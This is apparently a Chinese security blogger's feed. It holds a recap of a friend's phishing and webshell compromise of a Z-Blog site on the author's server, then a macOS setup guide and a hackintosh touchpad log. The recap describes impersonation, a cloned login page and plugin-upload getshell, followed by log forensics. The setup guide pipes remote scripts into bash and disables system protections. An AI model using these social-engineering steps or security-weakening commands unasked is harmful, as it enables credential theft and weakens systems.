英文是直接谷歌翻译的,如果细心的网友发现语句不顺的话也不要吐槽 ,这又不是不能用?
除了经常被扫描器扫以外,DDOS 也是家常便饭了:
44G 算高了吗?当然不是:
总之博客一直多灾多难,国光我也睁一只眼闭一只眼,毕竟没有搞出啥太大的动静,直到今天被 Hexman Getshell 了才意识到问题的严重性。
国光我是大一的时候认识的 Hexman 的,那个时候他还是一个高中生,技术很强,思路也灵活。后面他高考了就销声匿迹了一段时间,结果没想到居然考上了西南科技大学,没想到可以学业爱好两边都兼顾好:
Hexman 原本也有自己的博客,我们友链挂了很久了,后面因为一些 DDDD 的原因,没有博客了,不过我的友链还有它存在过的证明:
后面又发生了一些事情,总之 Hexman 和我如今是同事关系了,也是一名 Bytedancer,好了关于 Hexman 的事情就介绍到这儿了。
年前 Hexman 突然在我们的 RedTeam 百灵鸟 群里说要打群里师傅们的博客:
都怪群主装 B,我博客躺着中枪了:
没想到 Hexman 蹲一个月没开玩笑,真的从年前搞到了年后!果然功夫不负有心人呀。
说到 RedTeam 百灵鸟 百灵鸟网友们肯定比较陌生,不过也可以理解,我们这个团队确实比较低调,目前也没有啥成名作品,唯一一次被大家所知就是年前一次 CVE 污染测试,结果被很多安全 从业者喷了, Alphabug 还被网暴了,后面公众号已经公开道歉过了:
下面是原文:百灵鸟安全团队 - Alphanug:一封关于推送CVE情报污染事件致歉信
既然都说到这里了,肯定得宣传一下我们的百灵鸟团队了,我们团队成员来自国内许多安全厂商 - 阿里、字节跳动、奇安信、深信服、安恒等,拥有丰富的红队实战经验,平时一直很低调,没有啥作品,目前一个还算不错的作品是我们的 DNSLog 平台。
Fuzz.red 安全快速的Dns、Http、Rmi、Ldap Log平台 – Hacking for fun!
讲道理颜值还是不错的,感兴趣的安全从业者们可以自己试试看哦。最后丢一个我们公众号的二维码就差不多了:
建议安全从业者关注一下哦,期待我们新的作品。
下面开始模拟 Hexman 的视角开始对 www.sqlsec.com 国光博客进行入侵,废话不多说,正文开始了。
国光博客 www.sqlsec.com 从主站直接入侵难度确实很高,简单指纹收集一下,发现国光博客是 Hexo 纯静态博客,纯静态博客没有后台可言,基本上没有漏洞点。直接钓鱼国光吧,他又是一个安全从业者,基本上是不会上钩的,所以就看下旁站或者子域名情况吧。
因为国光博客没有直接挂 CDN 的缘故,很容易获取到真实 IP,借助 FoFa、shodan、Zoomeye 都可以快速查看旁站和子域名的情况:
柿子还得找软的捏,子域名感觉不太行,不如重点关注一下这个很突兀的域名:www.jsanhuan.cn
为啥这个网站会搭建在国光的服务器下面?简单 Fuzz 一下发现是用 Z-Blog 的 CMS 搭建的:
而且后台地址也轻易的暴露了出来:
https://www.jsanhuan.cn/zb_system/login.php
继续信息收集获取到了站长的一些信息:
Soga,这个网站应该就是国光搭建的,所以才会出现在国光的服务器上面。
信息收集差不多了,下面来理一下对这个网站的攻击思路:
其中第一个方法比较传统,而且 Z-Blog 也不是那么大众,版本又是未知,根据国光的警惕性,也不可能用有漏洞的版本的,除非自己去下载最新的 Z-Blog 源码,自己来代码审计一下,不过这个审出来就是 0day 了,不去申请 CVE 或者 CNVD 编号的话就可惜了。
综上比较繁琐,暂且先不考虑。
实际上 Hexman 也尝试爆破过了,配合社工后的字典组合爆破的,不过没想到用户名压根不是 admin,23333:
既然上述两个方法都不太行的话,那么只能尝试社工钓鱼了。
先上 TG 去红鼻子机器人那里简单搜索一下,发现信息还算可以:
虽然没有直接获取到密码等信息,但是最起码知道了手机号和姓名了,也还算不错了。
既然这个网站是国光搭建的,所以网站管理员和国光肯定是认识的,但是钓鱼拿密码最直接的方式是让站长直接把密码再给你,当然这可能性不太高,所以我们得伪造一个假的一模一样的登录页面:
https://freeland-1252849447.file.myqcloud.com/index.html
因为无缘无故找站长会很奇怪,得搞一个理由,就是网站的序列号要过期了,需要重新激活:
页面仿真度这块是没得说的,站长粗心没有看域名的话,是可能会一不小心输入真实的密码的。
补充一个细节,这个钓鱼页面也考虑到到受害者故意输入错误的账号和密码了,有一个登录中转,只有真的是正确的密码才可以登陆,才可以被记录。
正常情况下管理员不会立即上钩,我们不能一直后台一直等着吧,所以得考虑使用飞书的 WebHook 机器人来上线通知一下,这样我们可以第一时间拿到管理员的密码:
安利一下,飞书确实是个不错的产品,下面是飞书机器人创建的一些细节信息:
当上线的时候直接进行消息提示:
下面是这个飞书机器人的主要代码细节:
有钓鱼页面的话,直接尝试传统的邮件钓鱼的方法:
也许是站长不怎么看邮箱?或者安全意识比较高,一直都没有上钩!可恶啊~
车到山前必有路,既然邮件钓鱼不行的话,我们不妨大胆一点,直接来伪造一下国光,头像资料啥的尽量和真的国光靠拢,下面是本次伪造的假的国光小号:
应该差不多了,希望站长的安全意识不要那么高。
通过上面的社工信息,加站长 QQ 好友很容易获得信任,成为好友的话也不要磨叽,直接开始话术吧:
钓鱼也并不是一帆顺风的,从 1 月 27 日年前开始钓鱼,直到年后才有了一点进展。 终于在某一天,这个田姓人员真的去登录钓鱼网站了:
后台已经实时获取到了对方的键盘记录:
飞书机器人这边也提示有鱼上钩了:
拿到用户名和密码,尝试去后台登录看看,一次成功,Bingo:
可以看到 Z-Blog 官方项目:https://github.com/zblogcn/zblogphp
里面也嘲讽了一些安全初学者:
致某些安全初学者:在管理员权限下,通过后台主题管理/插件管理上传 PHP 文件不是漏洞!自从 2017 年起,CNVD 已经给我们报了至少五次相关“漏洞”(如 CNVD-2019-12772、CNVD-2019-43601)。请不要用这种东西浪费我们和 CNVD 的时间,同时通过刷低水平“漏洞”骗到的 CNVD 编号对你的简历没有任何帮助。
官方暗示很明显了,后台主题管理/插件管理上传可以通过上传 getshell,那么就根据这个思路写一个 ZBA 插件吧。
ZBA 插件需要满足一定的格式要求:
官方文档也很详细,根据官方插件的来就行了:
本次 zba 插件编写好直接上传就可以 getshell 了:
废话不多说,直接上哥斯拉连接:
然后传一个 txt 证明自己来过:
最后再去群里炫耀一下任务完成:
不得不说,没想到 Hexman 是这样的人,真的为了日我的站,从年前搞到年后,不愧是小黑屋锻炼过的男人:
1 月 27 日的时候还和他讨论了技术问题:
前脚刚讨论完,后脚就开始日我的博客,呜呜呜
本次复盘差不多结束了,现在该轮到我这边溯源和安全加固一下了。
既然被攻击了,肯定第一时间得看日志分析一下黑客的攻击行为吧,直接日志分析走起来。根据时间段筛选日志,也不是很多,不到 2w 行日志。
时间范围: 2022-01-25 15:10 ,根据 UA 特征为 macOS,而且配合访问 IP 应该就是北京字节跳动的出口 IP:
可以看到对网站先进行踩点测试:
在短时间内访问了如下目录,很明显的信息收集行为:
探测的不多,估计先谷歌看看这个 CMS 有啥漏洞去了,或者去生成社工字典去了。
换了另一个出口 IP(北京 联通)爆破了 9233 次:
可惜没有成功:
2022-02-08 09:16 ,一大早 Hexman 发现有鱼上钩了,但是估计还没有起床,直接使用了 Android 11; M2012K11AC 手机来访问我的网站,IP 为被联通:
可以看到新建文章的 URL,说明应该进了后台了,再验证一下机型:
我记得 Hexman 用的是小米,机型也无限接近,这个应该就是 Hexman 本人了。
2022-02-08 10:46 ,Hexman 应该到公司了,然后第一件事情就是迫不及待的打开电脑来登录网站后台,使用的是北京联通出口 IP:
然后从 10.47 一直到 10.52 这 5 分钟时间内一直进行附件上传 getshell 测试,发现并不顺利。
2022-02-08 11:15 Hexman 开始关注到插件地方可能可以 getshell 了:
终于在 2022-02-08 11:44 的时候成功了,shell 的路径为:/zb_users/incas/incas.php
shell 没有问题,确实是 webshell:
再看下 Hexman 的发群时间也完美符合:
getshell 第一时间上传了个 txt 并发群里面了:
至此 Hexman 的全过程的攻击线路也全部理清,人证物证都在,直接 110 走起了(手动狗头):
备份日志方便溯源抓人,备份源码以便东山再起,总之常备份是个好习惯:
找站长聊聊,让他不要轻易配合陌生人的操作:
最后更改一下已经泄露的密码。
本次 Hexman 的渗透还是比较贴近实战的,没想到国光我也可以翻车,大意了,没有闪,233333333333
最后提醒一下,非法渗透是违法的哦,如果我们互不认识的话,你渗透的我的站点,我会看日志溯源抓人的哦,什么你要直接 rm -rf /* ?? 23333 阿里云那边也有快照备份哦,想啥呢,总之写本文更多意义是思路分享和纪念一下,大家看看就好了,就酱了,下次见!
本文可能实际上也没有啥技术含量,但是写起来还是比较浪费时间的,在这个喧嚣浮躁的时代,个人博客越来越没有人看了,写博客感觉一直是用爱发电的状态。如果你恰巧财力雄厚,感觉本文对你有所帮助的话,可以考虑打赏一下本文,用以维持高昂的服务器运营费用(域名费用、服务器费用、CDN 费用等)
微信 | 支付宝 |
没想到文章加入打赏列表没几天 就有热心网友打赏了 于是国光我用 Bootstrap 重写了一个页面用以感谢支持我的朋友,详情请看 打赏列表 | 国光
]]>自从去年我的电脑经历了各种挫折之后,新的一年到了,虽然矿难还没有真正的到来,但是 AMD RX6600 XT 显卡 居然在 macOS 12.1 版本支持驱动了,于是就果断剁手了,新的系统,新的配置,这篇文章就此诞生了。
晚上打了一把守望先锋后就关机了,第二天无法开机发现主板短路了?造成的损失如下:
租的房子突然跳闸断电了,一开机直接发现 2TB HDD 损坏,DG 打开提升扇区错误:
2TB 数据又没了,不过还好经历过第一次损失,我后面搞了 Radi1 备份了很多关键数据。
阿斯加特 Asgaed 洛极 T2 DDR4 2666频率 16GB 内存坏了一根,还好是 JD 购买的,官方直接给我换新的,就是等待的时间有一点点长。
玩电脑的时候我们家猫猫老是喜欢凑过来,这不就乘我不注意把我的 AOC U2790PQU 的 4k 显示器面板咬坏了:
啊这,后面被迫换了面板,然后买了几千个积木把我的显示器包裹了起来,这样再也不用担心猫猫咬显示器了:
之前写的这篇:国光的 macOS 配置优化记录 确实有点老了,当初是基于 macOS 10.15 写的,如今 macOS 都出到 12.X 的版本了,很多设置都发生了不小的变化,所以得重新记录一下了。本文是基于 macOS Monterey 12.1 写的:
macOS 10.14 后不允许设置 4 位数以下的密码,对于一个弱口令的坚定维护者,每次敏感操作都要输入一长串的密码,国光我是接受不了的,所以可以使用下面的命令来取消关闭这个密码负责的策略的限制:
# 取消4位数密码限制 ➜ pwpolicy -clearaccountpolicies# 更改密码➜ passwd
有时候我们需要安装一些非官方 AppStore 的软件,这个时候就得到「安全与隐私」-「通用」里面来勾选开启任何来源,但是默认是没有这个选项的,在 macOS 早期是可以顺利开启的,但是到了近几年的版本我们得如需下面命令来手动开启:
# APP安装开启任何来源➜ sudo spctl --master-disable
然后下面的这个任何来源的隐藏选项就出现啦:
在 shell 环境下会看到如下效果:
guang@guangdeMacBook-Pro ~ %
这个主机名看上去实在比较臃肿,可以使用如下命令来修改:
# 修改主机名➜ sudo scutil --set HostName {自定义主机名}
同样也可以修改共享电脑名称,使用如下命令:
# 修改共享名称➜ sudo scutil --set ComputerName {自定义电脑名}
这样其他用户使用隔空投送的时候就会看到此时设置的自定义的共享名称了。 实际上这条命令的效果和在「设置」-「共享」里面的效果一模一样:
Command Line Tools 是在 Xcode 中的一款工具,macOS 下不少开发工具都会依赖这个,所以我们手动安装一下,后面安装其他工具可以省下不少麻烦:
# 安装 xcode 命令行工具➜ xcode-select --install
如果只有一个屏幕的时候,国光我经常在「程序坞与菜单栏」勾选「自动隐藏和显示程序坞」,这样增加屏幕的利用率,但是 macOS 默认情况下唤出这个程序坞有点慢一拍的感觉,我们可以通过命令来减少响应时间:
# 设置启动坞动画时间设置为 0.5 秒➜ defaults write com.apple.dock autohide-time-modifier -float 0.5 && killall Dock# 设置启动坞响应时间最短➜ defaults write com.apple.dock autohide-delay -int 0 && killall Dock
不要担心改不回来,可以使用下面的命令恢复系统初始化的设置:
# 恢复启动坞默认动画时间➜ defaults delete com.apple.dock autohide-time-modifier && killall Dock# 恢复默认启动坞响应时间➜ defaults delete com.apple.Dock autohide-delay && killall Dock
启动台里面也可以设置应用的列和宽,使用如下命令即可:
# 设置列数为 9➜ defaults write com.apple.dock springboard-columns -int 9# 设置行数为 6➜ defaults write com.apple.dock springboard-rows -int 6# 重启 Dock 生效➜ killall Dock
国光设置的 9 列 6 行的效果如下:
这个效果因人而异 ,大家可以自己去摸索,如果你想恢复默认的话可以使用下面的命令:
# 恢复默认的列数和行数➜ defaults write com.apple.dock springboard-rows Default➜ defaults write com.apple.dock springboard-columns Default# 重启 Dock 生效➜ killall Dock
MBP 上使用触控板或者台式机外接妙控板进行鼠标指针拖移的话,默认得按压下去才可以拖动窗口,长时候按压难免让手指更加酸痛而且效率不高,这个时候在「辅助功能」-「指针控制」-「鼠标与触控板」开启传说中的「三指拖移」:
这才是 macOS 的触控板真正的精髓呀!效率提升杠杠的。
macOS 下的默认光标使用方向键左右移动是非常慢的,在终端下敲命令的时候尤为明显。这个时候得手动调快一些,才可以达到 Linux 下那种顺滑的移动效果,只需要到将「按键重复」调快一些,然后将「重复前延迟」调短一些即可:
有些软件需要关闭 SIP 才可以实用,比如 proxychains-ng
这种系统级代理软件
白苹果得进恢复模式才可以修改,重启 Mac,按住 Option 键进入启动盘选择模式,按 ⌘
+ R
进入 Recovery 模式。
「菜单栏」 ->「 实用工具(Utilities)」-> 「终端(Terminal)」:
# 关闭SIP➜ csrutil disable# 查看SIP状态➜ csrutil statusSystem Integrity Protection status: disabled.(表明关闭成功)
黑苹果的话也可以进恢复模式,但是不如直接修改配置文件更方便高效。以 OC 为例,只要勾选「AllowToggleSip」:
然后就可以在开机选择系统的时候手动切换 SIP 开关状态了:
有些类似截图等软件是每次开机必备的,貌似新版本系统软件里面的「开启启动」类似的选项都不太好用,不用担心,我们可以手动给他们设置开机自启:
不过有些不良心的软件会偷偷自启,但是设置里面却看不到,不要头疼,我们可以使用腾讯柠檬清理来管理这类偷偷自启的软件:
iTerm2 的颜值真的挺高的(配合 Zsh 主题的话),但是默认情况下有的丑,需要我们稍微设置一下颜值才会高一点。
主要设置一下主题以及标签页的显示位置,下面是国光的设置习惯:
另外记得到这个 Windows 标签页勾选「Hide scrollbars」隐藏滚动条,让终端看上去更简约一点。
新建一个自己的配置,并设置为默认「Set as Default」,在新的配置里面可以进行字体相关的设置,字体大小国光设置的是 16 号,使用的是 macOS 自带的 Monaco 高颜值字体:
Homebrew 是一款自由及开放源代码的软件包管理系统,用以简化 macOS 系统上的软件安装过程,程序猿开发必备神器。
➜ /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
第一次安装可能有点慢,给终端挂个代理可以提高下速度:
# ClashX 代理示例export https_proxy=http://127.0.0.1:7890 http_proxy=http://127.0.0.1:7890 all_proxy=socks5://127.0.0.1:7890
没有代理的话可与去刷个抖音冷静一下。
国光的 brew 常用命令与软件:
# 更新 Homebrew➜ brew update# 搜索相关的包➜ brew search [关键词] # 查看包的信息➜ rew info [软件名] # 查看已安装的包➜ brew list# 更新某个软件➜ brew upgrade [软件名]# 清理所有软件的旧版➜ brew cleanup# 卸载某个软件➜ brew uninstall [软件名]# ip 命令 查看ip地址很方便➜ brew install iproute2mac
诸如 Nginx、MySQL 等软件,都是有一些服务端软件在后台运行,如果你希望对这些软件进行管理,可以使用 brew services
命令来进行管理:
# 查看所有服务 ➜ brew services list:# 单次运行某个服务➜ brew services run [服务名]# 运行某个服务,并设置开机自动运行➜ brew services start [服务名]# 停止某个服务➜ brew services stop [服务名]# 重启某个服务➜ brew services restart
国光的 brew 常用配置:
# ip 命令 查看ip地址很方便brew install iproute2mac# 安装 brew-caskbrew install cask# 空格预览 markdownbrew install qlmarkdown# 空格预览代码文件brew install syntax-highlight
macOS Monterey 使用 zsh 作为默认 Shell,不过这个自带的 zsh 还不够好看,需要使用 Oh My Zsh 这个 zsh 美化增强脚本,来让自己的终端 Shell 颜值更逼格。
# 安装卡的话就挂代理➜ sh -c "$(curl -fsSL https://raw.github.com/robbyrussell/oh-my-zsh/master/tools/install.sh)"
用户目录下的 .zshrc
文件为 Oh My Zsh 的配置文件
#修改配置文件➜ vim ~/.zshrc
修改此行(等于号 后面填写自己的主题):
ZSH_THEME=robbyrussell
Oh My Zsh 已经内置了很多主题了:
# 查看自带的主题➜ ls -l ~/.oh-my-zsh/themes
国光以前也比较喜欢花里胡哨的折腾这些,后来发现画船听雨大佬的 zsh 主题就是默认的 =,= 后面我就也没有再折腾这些花里胡哨的主题了。
目录切换神器,大大提高工作效率。
➜ brew install autojump
在 ~/.zshrc
中配置
plugins=(其他的插件 autojump)
输入zsh
命令生效配置后即可正常使用j
命令,下面是简单的演示效果:
# 第一次 cd 进入某个目录➜ ~ cd Documents/Hexo➜ Hexo cd ~# 后面就可以直接通过 j 命令跳转到那个目录➜ ~ j hexo/Users/sec/Documents/Hexo
终端下自动提示接下来可能要输入的命令,这个实际使用效率还是比较高的
# 拷贝到 plugins 目录下➜ git clone https://github.com/zsh-users/zsh-autosuggestions $ZSH_CUSTOM/plugins/zsh-autosuggestions
在 ~/.zshrc
中配置:
plugins=(其他的插件 zsh-autosuggestions)
输入zsh
命令生效配置
命令输入正确会绿色高亮显示,可以有效地检测命令语法是否正确
# 拷贝到 plugins 目录下➜ git clone https://github.com/zsh-users/zsh-syntax-highlighting.git ${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/zsh-syntax-highlighting
在 ~/.zshrc
中配置:
plugins=(其他的插件 zsh-syntax-highlighting)
输入zsh
命令生效配置。
经常在 zsh 里面粘贴 URL 会出现下面的情况:
http://xxx/?id=1
粘贴到 iTerm2 的 zsh 中会变成这样:
http://xxx/\?id\=1
为了避免每次粘贴后都要修改的麻烦,我们需要手工关掉 URL 特殊符号转义,编辑 .zshrc
配置文件,取消下面内容的注释:
DISABLE_MAGIC_FUNCTIONS=true
编辑完成后,保存输入zsh
命令重新加载配置文件,再次粘贴就不会出现这种情况了。
新版本的 zsh 禁用自动更新的方式稍微有点变化,编辑 .zshrc
配置文件,取消下面内容的注释即可:
zstyle ':omz:update' mode disabled
终端命令行下代理神器,可以让指定的命令走设置好的代理,内网渗透、科学上网必备工具:
# 安装➜ brew install proxychains-ng# 配置文件➜ vim /usr/local/etc/proxychains.conf
将结尾的 socks4 127.0.0.1 9095
改为
socks5 127.0.0.1 7890
国光的 macOS 下 ClashX 的默认代理为 7890 然后我就习惯了 7890 端口 这里根据自己的情况来设置。
下面是常用的几个命令:
# 代理终端基本示例➜ proxychains4 curl https://www.google.com.hk# 全局代理 bash shell➜ proxychains4 -q /bin/bash# 全局代理 zsh shell➜ proxychains4 -q /bin/zsh
如果发现你的 proxychains 并不能代理的话,尝试根据前面的部分关掉 SIP 后再试试看。
比较巧的是写本文的 1 小时前 proxychains-ng 刚刚支持 macOS 12 Monterey 系统的版本:
macOS 自带的 vim 是没有任何配色的,可以下面是国光常用的配色方案,先在用户目录下新建一个 vim 的配置文件:
➜ vim ~/.vimrc
内容如下:
set nu " 显示行号colorscheme desert " 颜色显示方案syntax on " 打开语法高亮
配置修改为完,输入zsh
命令生效配置,国光我这里使用的 desert
配色方案,其他自带的配色可以参考这个目录下:
➜ ls /usr/share/vim/vim*/colors README.txtdelek.vimindustry.vimpablo.vimslate.vimblue.vimdesert.vimkoehler.vimpeachpuff.vimtoolsdarkblue.vimelflord.vimmorning.vimron.vimtorte.vimdefault.vimevening.vimmurphy.vimshine.vimzellner.vim
感兴趣的朋友可以自己去一个个尝试一下。
Github 会根据这个邮箱显示对应的 commit 记录的头像
# 配置邮箱 ➜ git config --global user.email "xxxxx@xxx.com"# 配置用户名➜ git config --global user.name "国光"
下图中间两个 commit 记录没有头像的原因就是没有配置上述邮箱的问题造成的:
在天朝 使用 git clone 的正确姿势,配置这个代理的前提是自己得有一个可以访问国外的 Socks5 代理(实际上不嫌麻烦的话每次手动开启下终端代理也可以):
# 我这里习惯用 7890 端口 具体根据自己的配置来灵活设置➜ git config --global http.proxy 'socks5://127.0.0.1:7890'➜ git config --global https.proxy 'socks5://127.0.0.1:7890'# 取消 git 代理➜ git config --global --unset http.proxy➜ git config --global --unset https.proxy# 查看 git 配置➜ cat ~/.gitconfig# 或者这样也可以查看 git 的配置➜ git config -l
macOS Monterey 自带 Python 2.7.18 的版本,不过没有安装 pip,得自己再折腾完善一下。
# 安装 pip (貌似 Python2 的 PIP 太新会出问题 可以指定最后一个稳定的版本)➜ sudo easy_install pip==20.3.4# 查看pip的版本➜ pip -Vpip 20.3.4 from /Library/Python/2.7/site-packages/pip-20.3.4-py2.7.egg/pip (python 2.7)
貌似 macOS 12.3 Beta 版本开始 macOS 开始不自带 Python2 工具了,不过还好有 pyenv 这个神器。
macOS Monterey 自带 Python 3.8.9 的版本,手动敲 Python3 会自动调用安装对应依赖,等待安装好即可。
同时也会自动安装好 pip3:
➜ pip3 -Vpip 20.2.3 from /Library/Developer/CommandLineTools/Library/Frameworks/Python3.framework/Versions/3.8/lib/python3.8/site-packages/pip (python 3.8)
但是版本不够新,我们可以手动升级最新版的 pip3:
/Library/Developer/CommandLineTools/usr/bin/python3 -m pip install --upgrade pip
pyenv 是一个强大 Python 包管理工具,可以灵活地切换各种 Python 版本。
# 安装 pyenv➜ brew install pyenv
将以下内容写入到 ~/.zshrc
配置文件:
alias brew='env PATH="${PATH//$(pyenv root)\/shims:/}" brew'
接着为 pyenv 配置 shell 环境:
echo 'eval "$(pyenv init --path)"' >> ~/.zprofileecho 'eval "$(pyenv init -)"' >> ~/.zshrc
常用的一些命令下面一一列出来。
# 查看已经安装的Python版本➜ pyenv versions# 查看当前的 Python 版本➜ pyenv version# 查看可安装的版本➜ pyenv install -l# 安装与卸载 pypy3.8-7.3.7➜ pyenv install pypy3.8-7.3.7➜ pyenv uninstall pypy3.8-7.3.7
所安装的版本都在 ~/.pyenv/versions
目录下。
# global 全局设置 一般不建议改变全局设置➜ pyenv global <python版本># shell 会话设置 只影响当前的shell会话➜ pyenv shell <python版本># 取消 shell 会话的设置➜ pyenv shell --unset# local 本地设置 只影响所在文件夹➜ pyenv local <python版本>
pyenv 的 global、local、shell 的优先级关系是:shell > local > global
国光我 Nodejs 用的不多,主要就用来跑跑 Hexo 博客和使用 Gitbook 来写点知识点,又因为 Node.js 版本也比较凌乱,所以这里主要是通过 nvm 来进行配置管理。
# 安装 nvm➜ curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.1/install.sh | bash# 查看版本信息➜ zsh➜ nvm --version0.39.1# 查看当前 node 的版本➜ nvm version # 安装最新稳定版 node➜ nvm install stable# 列出所有远程服务器的版本➜ nvm ls-remote# 安装指定版本➜ nvm install v12.22.9➜ nvm install <version># 列出所有已安装的版本➜ nvm ls# 卸载指定的版本➜ nvm uninstall <version># 切换使用指定的版本node➜ nvm use <version># 显示当前的版本➜ nvm current
Hexo 是一个由 Node.js 编写的博客系统,国光我的博客用了 Hexo 已经很多年了,大家如果要写博客的话,也建议大家尝试 Hexo 看看。
安装配置好 Node.js 之后,只需要如下命令即可安装好 Hexo:
➜ npm install hexo-cli -g
下面是国光常用的一个 Hexo 命令:
# 清除缓存重新生成并启动 hexo 本地服务$ hexo clean && hexo g && hexo s
因为国光我是把 Hexo 博客直接部署到阿里云服务器的,所以我不用 hexo d
这个命令好多年了。
# 搜索可以安装的版本➜ brew search mysql# 安装对应的版本➜ brew install mysql@5.7
# 查看 MySQL 可执行文件的位置➜ cd /usr/local/Cellar/mysql@5.7/*/bin && pwd/usr/local/Cellar/mysql@5.7/5.7.37/bin
然后下面内容写入 ~/.zshrc
配置文件中:
export PATH="${PATH}:/usr/local/Cellar/mysql@5.7/5.7.37/bin"
写入完成后可以使用 zsh
刷新一下配置或者手动 source ~/.zshrc
一下。
# 查看 M有SQL 服务状态➜ brew services info mysql@5.7➜ mysql.server status# 启动 MySQL 服务➜ brew services start mysql@5.7➜ mysql.server start# 重启 MySQL 服务➜ brew services restart mysql@5.7➜ mysql.server restart# 停止 MySQL 服务➜ brew services stop mysql@5.7➜ mysql.server stop
# 默认是 root 用户是空密码 可以直接登录➜ mysql -uroot# 修改 root 密码的 SQL语句mysql > use mysql;mysql > set password for 'root'@'localhost' = password('你设置的密码');# 刷新权限 并退出mysql > flush privileges;mysql > quit;
这是个可选操作 根据自己的实际情况自行决定是否开启(有被攻击的风险):
mysql > grant all on *.* to root@'%' identified by '你设置的密码' with grant option;mysql > flush privileges;
大家根据实际情况来决定是否开启外连。
# 安装 redis➜ brew install redis# 启动 redis 服务端➜ redis-server# 启动 redis 客户端➜ redis-cli# 编辑默认配置文件➜ sudo vim /usr/local/etc/redis.conf
Gitbook 确实是一个写文档的神器,对于我来说是必装的了。这个坑点就是使用高版本的 Node.js 安装会出各种玄学问题,换 10.X 的版本即可:
# 安装并切换老版本的 Node.js➜ nvm install v10.24.1➜ nvm use v10.24.1# 安装 Gitbook-cli➜ npm install -g gitbook-cli# 验证版本并安装相关依赖➜ gitbook -VCLI version: 2.3.2GitBook version: 3.2.3
大家都是搞安全的,配置环境这个对你们来说很简单的吧,这里就不再赘述了,之前的老文章有这部分的配置,大家也可以参考一下,然后发散一下,基本上足够了:国光的 macOS 配置优化记录
总之 macOS 用来做渗透等安全研究还是比较舒服的。
本文可能实际上也没有啥技术含量,但是写起来还是比较浪费时间的,在这个喧嚣浮躁的时代,个人博客越来越没有人看了,写博客感觉一直是用爱发电的状态。如果你恰巧财力雄厚,感觉本文对你有所帮助的话,可以考虑打赏一下本文,用以维持高昂的服务器运营费用(域名费用、服务器费用、CDN费用等)
微信 | 支付宝 |
没想到文章加入打赏列表没几天 就有热心网友打赏了 于是国光我用 Bootstrap 重写了一个页面用以感谢支持我的朋友,详情请看 打赏列表 | 国光
]]>实际上关于黑苹果的文章本博客不打算再记录的了,之前还单独开了个子域名用于记录黑苹果:国光的黑苹果安装教程,但是呢由于这个触控板真的耗费了我太多精力了,最终搞定了还是比较有成就感的,所以就单独来博客写文章记录一下,而且也可能会帮助到其他看到本文的网友。
4 个月前逛 reddit 论坛被一个帖子给种草了,原帖子地址为:https://www.reddit.com/r/hackintosh/comments/pdg47d/work_in_progress_20/
居然发现触控板是一个触控屏的笔记本,而且居然也成功吃上了黑苹果,这让我大受震撼,内心开始思考:
“ 普通笔记本黑苹果的触控板体验一般都不太行,毕竟硬件限制摆在那儿,完全和 Macbook 的玻璃触控板没法比,但是这种双屏设备的触控板是一个触控屏,如果可以黑苹果成功的话,那体验应该也无限接近于白苹果的触控板了吧,233333333333 ”
以上想法纯属 YY,后面我一时冲动去咸鱼上花了高昂的价钱入手了 2 个双屏笔记本:
但是却忽略了原贴评论里面说的「目前这个触控板不支持苹果的多指手势,只能识别到 1 个手指」。
呜呜呜呜,所以这几个月时间内,国光我一直在研究如何驱动这个触控板的多指手势,这个过程真的非常艰辛和漫长,期间甚至还买了苹果官方的妙控板:
也在 B 站水了视频,不过视频里面还是单指触控的版本:史上最骚的黑苹果笔记本诞生了?
最近写完这篇文章之后,准备系统做个视频来记录一下了 :)
因为触控板走得是 I2C 协议的,所以肯定使用经典的 https://github.com/VoodooI2C/VoodooI2C 项目来驱动了,使用官方的 kexts,按照如下顺序加载:
虽然设置里面的触控板看上去很完美,但是使用 FingerMgmt 检测只实际上只可以检测到 1 个手指:
对于笔记本来说,这个最为致命,完全没法当做生产力了。
备注:实际上 VoodooI2C 驱动默认情况下是无法使用这个触控板的,连最基础的单指功能都无法实现,还得改下 VoodooI2CHID.kext/Contents/Info.plist 这个文件才可以,不过由于国光我目前已经解决多指问题了,所以本文中就不再赘述这如何驱动单指的情况了。
工欲善其事,必先利其器,所以要做好一件事,准备工作是非常重要的。
先在 Windows 下对触控板信息进行一个简短的整理,使用的是标准的符合微软 I2C 协议触控板:
在 macOS 下使用IORegistryExplorer也是可识别到触控板的型号为:GDX1515
将以上可能有用的信息整理出来如下:
Windows 下这种二合一触控板叫法:ScreenPad
触控板型号:GDX1515
触控板的屏幕型号:ScreenXpert
IRQ:0x0000006D (109)
APIC Pin:6d(109)
设备实例路径:ACPI\GDX1515\1
硬件 Id:
ACPI\VEN_GDX&DEV_1515
ACPI\GDX1515
*GDX1515
BIOS 设备名称:\_SB.PCI0.I2C1.ETPD
位置路径:
ACPI(_SB)#ACPI(PCI0)#(I2C1)#ACPI(ETPD)
ACPI(_SB)#ACPI(USBX)#(I2C1)#ACPI(ETPD)
知道触控板的型号的话,首先先看看历史有没有人驱动了这个触控板,如果有的话,我们直接白嫖的话岂不美哉?
谷歌一下,发现最早这个问题 19 年就有人提问过了,帖子地址:https://www.tonymacx86.com/threads/mojave-10-14-6-on-asus-vivobook-s532fa.284231/
我根据线索搜索下了下他设备的型号,发现果然也是一个双屏笔记本:
后面我也在 VoodooI2C 的官方聊天室 里也发现从 19 年至今,很多人都遇到这个触控板无法完美驱动的问题,VoodooI2C 开源工程目前也不活跃,所以这个问题一直都没有得到解决,国光我从 9 月份加入官方聊天室以来,经常打着时差和国外的开发者沟通交流,期间的过程真的非常煎熬和痛苦:
目前这种触控板可以下结论为无解了,理论上想要驱动的话,只能尝试自己去改 VoodooI2C 源码,或者直接移植 Linux 驱动,当然移植驱动是一个大工程,不到迫不得已不要尝试,凭我目前的水平,自学 Linux 驱动移植至少也得 3 个月,啊这:
目前这两种解决方法中只有前者可以勉强尝试一下,移植 Linux 驱动是一个大工程,不到万不得已不会去尝试的。
魔改 VoodooI2C 源码前首先得会编译官方的原始项目吧,如果编译都通过不了,谈何去魔改?所以这一小节主要记录如何使用 Xcode 编译 VoodooI2C 触控板项目的源码。
VoodooI2C 项目所依赖的模块属于不同的仓库,所以 git clone 的时候需要使用 recursive
参数一次性克隆下载完:
# 本次存放的文件夹路径仅供参考$ pwd/Users/bytedance/Desktop/XCode$ cd ~/Desktop/XCode$ git clone --recursive https://github.com/VoodooI2C/VoodooI2C.git
使用 Xcode 打开VoodooI2C.xcworkspace
文件:
打开项目肯定不是一帆风顺的,我们会看到许多 issue:
这里实际上我们不用管它,全部默认就好了,不要手动去点击「Perform Changes」哦。
